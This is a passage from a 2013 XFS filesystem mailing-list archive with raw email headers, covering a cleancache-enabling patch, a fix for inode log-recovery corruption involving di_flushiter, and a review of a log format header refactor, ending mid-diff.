+1000 From: Dave Chinner To: James Dingwall Cc: Konrad Rzeszutek Wilk , Ben Myers , xfs@oss.sgi.com Subject: Re: Cleancache support in XFS Message-ID: <20130723082700.GK19986@dastard> X-ASG-Orig-Subj: Re: Cleancache support in XFS References: <51810CED.4080003@zynstra.com> <20130501162044.GN29359@sgi.com> <20130501223022.GQ10481@dastard> <518222D3.3080109@zynstra.com> <20130522192834.GD10617@phenom.dumpdata.com> <519F1708.10603@zynstra.com> <20130607170826.GA6925@phenom.dumpdata.com> <51E8E834.6080509@zynstra.com> <20130722154812.GC30300@phenom.dumpdata.com> <51EE2F54.80701@zynstra.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EE2F54.80701@zynstra.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374568040 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 23, 2013 at 08:23:00AM +0100, James Dingwall wrote: > Konrad Rzeszutek Wilk wrote: > >On Fri, Jul 19, 2013 at 08:18:12AM +0100, James Dingwall wrote: > >>Konrad Rzeszutek Wilk wrote: > >>>On Fri, May 24, 2013 at 08:30:16AM +0100, James Dingwall wrote: > >>>>Konrad Rzeszutek Wilk wrote: > >>>>>On Thu, May 02, 2013 at 09:24:51AM +0100, James Dingwall wrote: > >>>>>>Dave Chinner wrote: > >>>>>>>On Wed, May 01, 2013 at 11:20:44AM -0500, Ben Myers wrote: > >>>>>>>>Hi James, > >>>>>Hey folks, > >>>>>I am walking through my vacation-emails-mbox. > >>>>> > >>>>>>>>On Wed, May 01, 2013 at 01:39:09PM +0100, James Dingwall wrote: > >>>>>>>>>In reference to: http://oss.sgi.com/archives/xfs/2012-05/msg00046.html > >>>>>>>>> > >>>>>>>>>$ grep -r cleancache fs/xfs > >>>>>>>>>on the 3.9 kernel source suggests that no patch was submitted to > >>>>>>>>>enable cleancache for the XFS filesystem. Since it was suggested > >>>>>>>>>that this could be a one liner I've had a go and my first effort is > >>>>>>>>>inline below. While this seems to compile OK I have no experience > >>>>>>>>>in filesystems so I would appreciate it if anyone can point out that > >>>>>>>>>it is obviously wrong and likely to eat my data before I try booting > >>>>>>>>>the kernel. > >>>>>>>>> > >>>>>>>>>If it seems a reasonable attempt what would be the best way to check > >>>>>>>>>that it isn't doing nasty things? > >>>>>>>>Hrm.. Looks like there is a doc in Documentation/vm/cleancache.txt which > >>>>>>>>includes a list of attributes the filesystem needs to have to work properly > >>>>>>>>with cleancache. > >>>>>>>So, those points are: > >>>>>>I had started to look at these too but I feel very out of my depth! > >>>>>>I had similar conclusions to what Dave wrote but I don't think my > >>>>>>thoughts should carry very much (any) weight. Anyway I gambled and > >>>>>>booted my xen domU with this patch and so far so good... xen top > >>>>>>shows that tmem is now being used where previously it wasn't. I'll > >>>>>>try running the xfstests at the weekend after a couple more days up > >>>>>>time to see what happens. > >>>>>And how did it go? > >>>>I am running the patch I created on 3.9.3 on half of my xen guests > >>>>now and have not noticed any stability or filesystem problems. xl > >>>>top with 'T' shows that the guests running with it are using > >>>>ephemeral pages were those without do not. I did do some runs with > >>>>xfstests which had some failures but they were present with and > >>>>without the patch. The best I can really offer is that it works for > >>>>me, ymmv. The patch is available as commit > >>>>c725011c4fc5d47e12d131f61bd91a58a40036b5 in > >>>>https://github.com/JKDingwall/linux.git xfs-enable-cleancache or in > >>>>the first message of this thread. > >>>Hey James, > >>> > >>>I've run this patch on my local tree and it looks to work right. I am > >>>saying "looks" as I am hitting some other issue that I believe are > >>>unralted to the patch - but I need to figure them out before I can > >>>comfortably say: "Yes, this looks right and works for me as well." > >>> > >>>Stay tuned. > >>Just to add that I have also had no observable problems running this > >>patch on 3.10.0 or 3.10.1. > >Yup. And I tested it as well. In other words if you would like to add > >Acked-by from me that would be super. Thanks! > My patch is now available in https://github.com/JKDingwall/linux.git > xfs-enable-cleancache as commit id > 6d50663e4ec88b7e1fd872b12ac310b1f4bb38c6. I have rebased it on 3.10 > with KRW's Acked-by and my Signed-off-by in the commit message. Is > it reasonable for this to be considered for 3.12 or would further > testing be required? I think that's sufficient. Send it to the list ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From james.dingwall@zynstra.com Tue Jul 23 03:53:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9EBAF7F54 for ; Tue, 23 Jul 2013 03:53:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 70C8D8F8037 for ; Tue, 23 Jul 2013 01:53:14 -0700 (PDT) X-ASG-Debug-ID: 1374569591-04bdf0245d2f51b0001-NocioJ Received: from emea01-am1-obe.outbound.protection.outlook.com (mail-am1lp0014.outbound.protection.outlook.com [213.199.154.14]) by cuda.sgi.com with ESMTP id tcYzxcKoHmwXx9Ps (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Tue, 23 Jul 2013 01:53:12 -0700 (PDT) X-Barracuda-Envelope-From: james.dingwall@zynstra.com X-Barracuda-Apparent-Source-IP: 213.199.154.14 Received: from AMXPR03MB103.eurprd03.prod.outlook.com (10.242.87.26) by AMXPR03MB104.eurprd03.prod.outlook.com (10.242.87.28) with Microsoft SMTP Server (TLS) id 15.0.731.16; Tue, 23 Jul 2013 08:53:09 +0000 Received: from AMXPR03MB103.eurprd03.prod.outlook.com ([169.254.10.39]) by AMXPR03MB103.eurprd03.prod.outlook.com ([169.254.10.39]) with mapi id 15.00.0731.000; Tue, 23 Jul 2013 08:53:09 +0000 From: James Dingwall To: Dave Chinner CC: Konrad Rzeszutek Wilk , Ben Myers , "xfs@oss.sgi.com" Subject: RE: Cleancache support in XFS Thread-Topic: Cleancache support in XFS X-ASG-Orig-Subj: RE: Cleancache support in XFS Thread-Index: AQHORmjkKc+lOWw0hESQoPHUDlGU5Jjw6iezgAC20oCAIBdOAIACbLwAgBaRagCAQW3GAIAFNLgAgAEV8gCAAAEeAIAABoWi Date: Tue, 23 Jul 2013 08:53:08 +0000 Message-ID: References: <51810CED.4080003@zynstra.com> <20130501162044.GN29359@sgi.com> <20130501223022.GQ10481@dastard> <518222D3.3080109@zynstra.com> <20130522192834.GD10617@phenom.dumpdata.com> <519F1708.10603@zynstra.com> <20130607170826.GA6925@phenom.dumpdata.com> <51E8E834.6080509@zynstra.com> <20130722154812.GC30300@phenom.dumpdata.com> <51EE2F54.80701@zynstra.com>,<20130723082700.GK19986@dastard> In-Reply-To: <20130723082700.GK19986@dastard> Accept-Language: en-GB, en-US Content-Language: en-GB X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [193.63.64.25] x-forefront-prvs: 0916FC3A18 x-forefront-antispam-report: SFV:NSPM;SFS:(24454002)(51444003)(41574002)(199002)(189002)(51704005)(52544002)(77096001)(74366001)(66066001)(49866001)(50986001)(19580405001)(19580385001)(80022001)(83322001)(47976001)(47736001)(77982001)(59766001)(65816001)(19580395003)(76576001)(56816003)(76796001)(74316001)(79102001)(76786001)(74502001)(74706001)(4396001)(74876001)(76482001)(15202345003)(81342001)(54316002)(69226001)(16406001)(53806001)(46102001)(51856001)(63696002)(74662001)(31966008)(81542001)(47446002)(83072001)(56776001)(33646001)(54356001)(24736002);DIR:OUT;SFP:;SCL:1;SRVR:AMXPR03MB104;H:AMXPR03MB103.eurprd03.prod.outlook.com;CLIP:193.63.64.25;RD:InfoNoRecords;A:1;MX:1;LANG:en; Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-OriginatorOrg: zynstra.com X-Barracuda-Connect: mail-am1lp0014.outbound.protection.outlook.com[213.199.154.14] X-Barracuda-Start-Time: 1374569591 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... ________________________________________=0A= From: Dave Chinner =0A= Sent: 23 July 2013 09:27=0A= To: James Dingwall=0A= Cc: Konrad Rzeszutek Wilk; Ben Myers; xfs@oss.sgi.com=0A= Subject: Re: Cleancache support in XFS=0A= =0A= On Tue, Jul 23, 2013 at 08:23:00AM +0100, James Dingwall wrote:=0A= > Konrad Rzeszutek Wilk wrote:=0A= > >On Fri, Jul 19, 2013 at 08:18:12AM +0100, James Dingwall wrote:=0A= > >>Konrad Rzeszutek Wilk wrote:=0A= > >>>On Fri, May 24, 2013 at 08:30:16AM +0100, James Dingwall wrote:=0A= > >>>>Konrad Rzeszutek Wilk wrote:=0A= > >>>>>On Thu, May 02, 2013 at 09:24:51AM +0100, James Dingwall wrote:=0A= > >>>>>>Dave Chinner wrote:=0A= > >>>>>>>On Wed, May 01, 2013 at 11:20:44AM -0500, Ben Myers wrote:=0A= > >>>>>>>>Hi James,=0A= > >>>>>Hey folks,=0A= > >>>>>I am walking through my vacation-emails-mbox.=0A= > >>>>>=0A= > >>>>>>>>On Wed, May 01, 2013 at 01:39:09PM +0100, James Dingwall wrote:= =0A= > >>>>>>>>>In reference to: http://oss.sgi.com/archives/xfs/2012-05/msg0004= 6.html=0A= > >>>>>>>>>=0A= > >>>>>>>>>$ grep -r cleancache fs/xfs=0A= > >>>>>>>>>on the 3.9 kernel source suggests that no patch was submitted to= =0A= > >>>>>>>>>enable cleancache for the XFS filesystem. Since it was suggeste= d=0A= > >>>>>>>>>that this could be a one liner I've had a go and my first effort= is=0A= > >>>>>>>>>inline below. While this seems to compile OK I have no experien= ce=0A= > >>>>>>>>>in filesystems so I would appreciate it if anyone can point out = that=0A= > >>>>>>>>>it is obviously wrong and likely to eat my data before I try boo= ting=0A= > >>>>>>>>>the kernel.=0A= > >>>>>>>>>=0A= > >>>>>>>>>If it seems a reasonable attempt what would be the best way to c= heck=0A= > >>>>>>>>>that it isn't doing nasty things?=0A= > >>>>>>>>Hrm.. Looks like there is a doc in Documentation/vm/cleancache.tx= t which=0A= > >>>>>>>>includes a list of attributes the filesystem needs to have to wor= k properly=0A= > >>>>>>>>with cleancache.=0A= > >>>>>>>So, those points are:=0A= > >>>>>>I had started to look at these too but I feel very out of my depth!= =0A= > >>>>>>I had similar conclusions to what Dave wrote but I don't think my= =0A= > >>>>>>thoughts should carry very much (any) weight. Anyway I gambled and= =0A= > >>>>>>booted my xen domU with this patch and so far so good... xen top= =0A= > >>>>>>shows that tmem is now being used where previously it wasn't. I'll= =0A= > >>>>>>try running the xfstests at the weekend after a couple more days up= =0A= > >>>>>>time to see what happens.=0A= > >>>>>And how did it go?=0A= > >>>>I am running the patch I created on 3.9.3 on half of my xen guests=0A= > >>>>now and have not noticed any stability or filesystem problems. xl=0A= > >>>>top with 'T' shows that the guests running with it are using=0A= > >>>>ephemeral pages were those without do not. I did do some runs with= =0A= > >>>>xfstests which had some failures but they were present with and=0A= > >>>>without the patch. The best I can really offer is that it works for= =0A= > >>>>me, ymmv. The patch is available as commit=0A= > >>>>c725011c4fc5d47e12d131f61bd91a58a40036b5 in=0A= > >>>>https://github.com/JKDingwall/linux.git xfs-enable-cleancache or in= =0A= > >>>>the first message of this thread.=0A= > >>>Hey James,=0A= > >>>=0A= > >>>I've run this patch on my local tree and it looks to work right. I am= =0A= > >>>saying "looks" as I am hitting some other issue that I believe are=0A= > >>>unralted to the patch - but I need to figure them out before I can=0A= > >>>comfortably say: "Yes, this looks right and works for me as well."=0A= > >>>=0A= > >>>Stay tuned.=0A= > >>Just to add that I have also had no observable problems running this=0A= > >>patch on 3.10.0 or 3.10.1.=0A= > >Yup. And I tested it as well. In other words if you would like to add=0A= > >Acked-by from me that would be super. Thanks!=0A= > My patch is now available in https://github.com/JKDingwall/linux.git=0A= > xfs-enable-cleancache as commit id=0A= > 6d50663e4ec88b7e1fd872b12ac310b1f4bb38c6. I have rebased it on 3.10=0A= > with KRW's Acked-by and my Signed-off-by in the commit message. Is=0A= > it reasonable for this to be considered for 3.12 or would further=0A= > testing be required?=0A= =0A= I think that's sufficient. Send it to the list ;)=0A= =0A= I hope that the inline version below will apply cleanly and the white space= hasn't been corrupted.=0A= =0A= Regards,=0A= James=0A= =0A= =0A= =0A= commit 6d50663e4ec88b7e1fd872b12ac310b1f4bb38c6=0A= Author: James Dingwall =0A= Date: Wed May 1 17:32:26 2013 +0100=0A= =0A= fs/xfs: add cleancache support to the filesystem=0A= =0A= Enabling cleancache for xfs will allow files cached from an xfs filesys= tem to be stored in any available tmem pools. This has been tested with Xe= n 4.2.2 where xl top shows usage of the=0A= tmem pools where this is enabled in the guest's kernel.=0A= =0A= Signed-off-by: James Dingwall =0A= Acked-by: Konrad Rzeszutek Wilk =0A= =0A= diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c=0A= index 3033ba5..bcc1668 100644=0A= --- a/fs/xfs/xfs_super.c=0A= +++ b/fs/xfs/xfs_super.c=0A= @@ -61,6 +61,7 @@=0A= #include =0A= #include =0A= #include =0A= +#include =0A= =0A= static const struct super_operations xfs_super_operations;=0A= static kmem_zone_t *xfs_ioend_zone;=0A= @@ -1500,6 +1501,8 @@ xfs_fs_fill_super(=0A= goto out_unmount;=0A= }=0A= =0A= + cleancache_init_fs(sb);=0A= +=0A= return 0;=0A= =0A= out_filestream_unmount:=0A= =0A= =0A= =0A= From markus@trippelsdorf.de Tue Jul 23 05:43:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 94E627F51 for ; Tue, 23 Jul 2013 05:43:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 823458F804C for ; Tue, 23 Jul 2013 03:43:02 -0700 (PDT) X-ASG-Debug-ID: 1374576180-04cbb0469112ef130001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id BykeraFhEerGWP1V (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 03:43:00 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=/XRxiGBhi+h1UQ5bQFjXKuUCj9 IETEekN6KR7dtIHEU=; b=FUmIta+0Kf9p6IiHc7a9ObKu5fK+BdAqXZL+JVo2vC u7J7xGivZBq3oE+vdfigcf7NwuLVroZDBzxf/e05lQOUJtyO5iN7NY3RUH/kYl6l nx2cbBLxv8fRpK/6+UQZotItjyzBXU2z33Y4sKmgbogEwX2LOKNjO3j+33SIL7Z2 Q= Received: (qmail 13023 invoked from network); 23 Jul 2013 12:42:59 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 23 Jul 2013 12:42:59 +0200 Date: Tue, 23 Jul 2013 12:42:59 +0200 From: Markus Trippelsdorf To: Mark Tinguely Cc: Dave Chinner , xfs-oss Subject: [PATCH v2] xfs: di_flushiter considered harmful Message-ID: <20130723104259.GB360@x4> X-ASG-Orig-Subj: [PATCH v2] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <51ED4471.7050708@sgi.com> <20130722151542.GB365@x4> <51ED8C73.50306@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51ED8C73.50306@sgi.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374576180 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.22 at 14:48 -0500, Mark Tinguely wrote: > On 07/22/13 10:15, Markus Trippelsdorf wrote: > > On 2013.07.22 at 09:40 -0500, Mark Tinguely wrote: > >> On 07/22/13 06:07, Markus Trippelsdorf wrote: > >>> On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > >> It seems to me that since we cannot fix this for inode 1/2, then besides > >> this patch we have to revert patch cca9f93a52d and make it inode 3+ / > >> superblock 5+ (crc) dependent. > > > > Which is exactly what the hunk I've posted does. > > > > Here's the combined patch: > > Following Dave's instruction to recreate this problem, your patch works > with an inode 2 and inode 3 (once I remembered to load the module before > recovery). Dave's patch was successful on inode 3 - again after I > remembered to load the module before recovery. > > Whomever makes the formal patch, consider it reviewed-by me. To get this patch to Linus ASAP, here's the combined patch again. Please apply. Thanks. From: Dave Chinner Date: Tue, 23 Jul 2013 12:06:08 +0200 Subject: [PATCH v2] xfs: di_flushiter considered harmful When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode being on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernel upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transaction inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Reported-by: Markus Trippelsdorf Reviewed-by: Mark Tinguely Signed-off-by: Dave Chinner [markus@trippelsdorf.de: take the shortcut IO on inode allocation only for version 5 superblocks] Signed-off-by: Markus Trippelsdorf --- fs/xfs/xfs_dinode.h | 3 +++ fs/xfs/xfs_inode.c | 30 ++++++++++++++++++------------ fs/xfs/xfs_log_recover.c | 13 +++++++++++-- 3 files changed, 32 insertions(+), 14 deletions(-) diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h index 07d735a..e5869b5 100644 --- a/fs/xfs/xfs_dinode.h +++ b/fs/xfs/xfs_dinode.h @@ -39,6 +39,9 @@ typedef struct xfs_timestamp { * There is a very similar struct icdinode in xfs_inode which matches the * layout of the first 96 bytes of this structure, but is kept in native * format instead of big endian. + * + * Note: di_flushiter is only used by v1/2 inodes - it's effectively a zeroed + * padding field for v3 inodes. */ typedef struct xfs_dinode { __be16 di_magic; /* inode magic # = XFS_DINODE_MAGIC */ diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index b78481f..5d7e344 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -896,7 +896,6 @@ xfs_dinode_to_disk( to->di_projid_lo = cpu_to_be16(from->di_projid_lo); to->di_projid_hi = cpu_to_be16(from->di_projid_hi); memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); @@ -924,6 +923,9 @@ xfs_dinode_to_disk( to->di_lsn = cpu_to_be64(from->di_lsn); memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); uuid_copy(&to->di_uuid, &from->di_uuid); + to->di_flushiter = 0; + } else { + to->di_flushiter = cpu_to_be16(from->di_flushiter); } } @@ -1054,17 +1056,15 @@ xfs_iread( /* shortcut IO on inode allocation if possible */ if ((iget_flags & XFS_IGET_CREATE) && - !(mp->m_flags & XFS_MOUNT_IKEEP)) { + !(mp->m_flags & XFS_MOUNT_IKEEP) && + xfs_sb_version_hascrc(&mp->m_sb)) { /* initialise the on-disk inode core */ memset(&ip->i_d, 0, sizeof(ip->i_d)); ip->i_d.di_magic = XFS_DINODE_MAGIC; ip->i_d.di_gen = prandom_u32(); - if (xfs_sb_version_hascrc(&mp->m_sb)) { - ip->i_d.di_version = 3; - ip->i_d.di_ino = ip->i_ino; - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); - } else - ip->i_d.di_version = 2; + ip->i_d.di_version = 3; + ip->i_d.di_ino = ip->i_ino; + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); return 0; } @@ -2882,12 +2882,18 @@ xfs_iflush_int( __func__, ip->i_ino, ip->i_d.di_forkoff, ip); goto corrupt_out; } + /* - * bump the flush iteration count, used to detect flushes which - * postdate a log record during recovery. This is redundant as we now - * log every change and hence this can't happen. Still, it doesn't hurt. + * Inode item log recovery for v1/v2 inodes are dependent on the + * di_flushiter count for correct sequencing. We bump the flush + * iteration count so we can detect flushes which postdate a log record + * during recovery. This is redundant as we now log every change and + * hence this can't happen but we need to still do it to ensure + * backwards compatibility with old kernels that predate logging all + * inode changes. */ - ip->i_d.di_flushiter++; + if (ip->i_d.di_version < 3) + ip->i_d.di_flushiter++; /* * Copy the dirty parts of the inode into the on-disk diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..7681b19 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2592,8 +2592,16 @@ xlog_recover_inode_pass2( goto error; } - /* Skip replay when the on disk inode is newer than the log one */ - if (dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { + /* + * di_flushiter is only valid for v1/2 inodes. All changes for v3 inodes + * are transactional and if ordering is necessary we can determine that + * more accurately by the LSN field in the V3 inode core. Don't trust + * the inode versions we might be changing them here - use the + * superblock flag to determine whether we need to look at di_flushiter + * to skip replay when the on disk inode is newer than the log one + */ + if (!xfs_sb_version_hascrc(&mp->m_sb) && + dicp->di_flushiter < be16_to_cpu(dip->di_flushiter)) { /* * Deal with the wrap case, DI_MAX_FLUSH is less * than smaller numbers @@ -2608,6 +2616,7 @@ xlog_recover_inode_pass2( goto error; } } + /* Take the opportunity to reset the flush iteration count */ dicp->di_flushiter = 0; -- Markus From bfoster@redhat.com Tue Jul 23 09:03:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 887D87F3F for ; Tue, 23 Jul 2013 09:03:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3E8478F8050 for ; Tue, 23 Jul 2013 07:03:52 -0700 (PDT) X-ASG-Debug-ID: 1374588230-04bdf0245b30bbf0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1cYs3PGlILNAt6RH for ; Tue, 23 Jul 2013 07:03:51 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6NE3oFO010896 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 23 Jul 2013 10:03:50 -0400 Received: from laptop.bfoster (vpn-63-213.rdu2.redhat.com [10.10.63.213]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id r6NE3nEQ007868 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 23 Jul 2013 10:03:49 -0400 Message-ID: <51EE8C84.70507@redhat.com> Date: Tue, 23 Jul 2013 10:00:36 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 01/49] xfs: separate out log format definitions References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 01/49] xfs: separate out log format definitions In-Reply-To: <1374215120-7271-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1374588230 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 07/19/2013 02:24 AM, Dave Chinner wrote: > From: Dave Chinner > > The on-disk format definitions for the log are spread randoms > through a couple of header files. Consolidate it all in a single > file that can be shared easily with userspace. This means that > xfs_log.h and xfs_log_priv.h no longer need to be shared with > userspace. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_log.h | 89 ++++++------------------ > fs/xfs/xfs_log_format.h | 178 +++++++++++++++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_log_priv.h | 146 ++------------------------------------ > fs/xfs/xfs_log_recover.c | 2 + > 4 files changed, 207 insertions(+), 208 deletions(-) > create mode 100644 fs/xfs/xfs_log_format.h > > diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h > index fb630e4..e63d9e1 100644 > --- a/fs/xfs/xfs_log.h > +++ b/fs/xfs/xfs_log.h > @@ -18,14 +18,29 @@ > #ifndef __XFS_LOG_H__ > #define __XFS_LOG_H__ > > -/* get lsn fields */ > -#define CYCLE_LSN(lsn) ((uint)((lsn)>>32)) > -#define BLOCK_LSN(lsn) ((uint)(lsn)) > +#include "xfs_log_format.h" > > -/* this is used in a spot where we might otherwise double-endian-flip */ > -#define CYCLE_LSN_DISK(lsn) (((__be32 *)&(lsn))[0]) > +struct xfs_log_vec { > + struct xfs_log_vec *lv_next; /* next lv in build list */ > + int lv_niovecs; /* number of iovecs in lv */ > + struct xfs_log_iovec *lv_iovecp; /* iovec array */ > + struct xfs_log_item *lv_item; /* owner */ > + char *lv_buf; /* formatted buffer */ > + int lv_buf_len; /* size of formatted buffer */ > +}; > + > +#define XFS_LOG_VEC_ORDERED (-1) > + > +/* > + * Structure used to pass callback function and the function's argument > + * to the log manager. > + */ > +typedef struct xfs_log_callback { > + struct xfs_log_callback *cb_next; > + void (*cb_func)(void *, int); > + void *cb_arg; > +} xfs_log_callback_t; > > -#ifdef __KERNEL__ > /* > * By comparing each component, we don't have to worry about extra > * endian issues in treating two 32 bit numbers as one 64 bit number > @@ -59,67 +74,6 @@ static inline xfs_lsn_t _lsn_cmp(xfs_lsn_t lsn1, xfs_lsn_t lsn2) > */ > #define XFS_LOG_SYNC 0x1 > > -#endif /* 